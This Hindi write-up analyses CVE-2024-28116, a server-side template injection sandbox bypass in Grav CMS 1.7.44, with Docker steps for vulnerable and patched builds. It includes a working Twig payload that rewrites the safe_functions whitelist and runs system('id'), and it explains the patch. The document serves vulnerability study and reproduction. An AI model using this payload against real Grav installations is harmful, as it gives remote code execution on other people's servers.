
CVE-2024-28116 का विश्लेषण और Docker पुनरुत्पादन - Grav CMS में सैंडबॉक्स बाईपास के साथ SSTI
Grav CMS संस्करण 1.7.44 तक (समावेशी) मौजूद Server-Side Template Injection (सर्वर-साइड टेम्पलेट इंजेक्शन) भेद्यता, जिसमें सुरक्षा सैंडबॉक्स बाईपास शामिल है, और जिसे संस्करण 1.7.45 में ठीक किया गया, का विश्लेषण और Docker प्रजनन (reproduction)।
रिपोर्टकर्ता: Maurizio Siddu (akabe1)
CVSS v3.1 स्कोर: 8.8 (उच्च)
पैच संस्करण: Grav CMS 1.7.45
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable
अपने ब्राउज़र में खोलें और पहली बार एक्सेस करने पर एक व्यवस्थापक खाता बनाएँ।
http://localhost:8080/adminhttp://localhost:8080/admin पर संपादक के रूप में लॉगिन करेंtest page सेट करें, जारी रखें पर क्लिक करें{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
http://localhost:8080/test-page पर जाएँयह वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड निष्पादन की पुष्टि करता है।
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched
अपने ब्राउज़र में http://localhost:8081/admin खोलें और http://localhost:8081/test-page पर लक्ष्य करते हुए ऊपर दिए गए सभी एक्सप्लॉइट चरणों को दोहराएँ।
पेज पूरी तरह खाली होगा। Security.php में cleanDangerousTwig() विधि twig.safe_functions निर्देश को Twig इंजन तक पहुँचने से पहले पहचानकर ब्लॉक कर देती है। व्हाइटलिस्ट कभी संशोधित नहीं होती और कमांड कभी निष्पादित नहीं होती।
भेद्यता system/src/Grav/Common/Twig.php में स्थित है। Grav isDangerousFunction() द्वारा जाँची गई ब्लैकलिस्ट के आधार पर, Twig टेम्पलेट्स के अंदर खतरनाक PHP फ़ंक्शन कॉल किए जाने से रोकने के लिए एक सैंडबॉक्स लागू करता है। हालाँकि, सैंडबॉक्स स्वयं Twig ऑब्जेक्ट की सुरक्षा नहीं करता। संपादक-स्तर का उपयोगकर्ता क्राफ्ट किए गए टेम्पलेट निर्देशों के माध्यम से Twig ऑब्जेक्ट के साथ बातचीत कर सकता है और रनटाइम पर system.twig.safe_functions व्हाइटलिस्ट को अधिलेखित कर सकता है। एक बार system() जैसा खतरनाक फ़ंक्शन व्हाइटलिस्ट में जुड़ जाता है, तो सैंडबॉक्स जाँच बाईपास हो जाती है और फ़ंक्शन स्वतंत्र रूप से निष्पादित होता है।
पैच system/src/Grav/Common/Security.php में cleanDangerousTwig() विधि के अंदर अवरुद्ध पैटर्न की सूची में 'twig.safe_functions' जोड़ता है। इस स्ट्रिंग वाला कोई भी निर्देश Twig इंजन तक पहुँचने से पहले निष्प्रभावी कर दिया जाता है, जिससे किसी संपादक के लिए टेम्पलेट के भीतर से व्हाइटलिस्ट को संशोधित करना असंभव हो जाता है।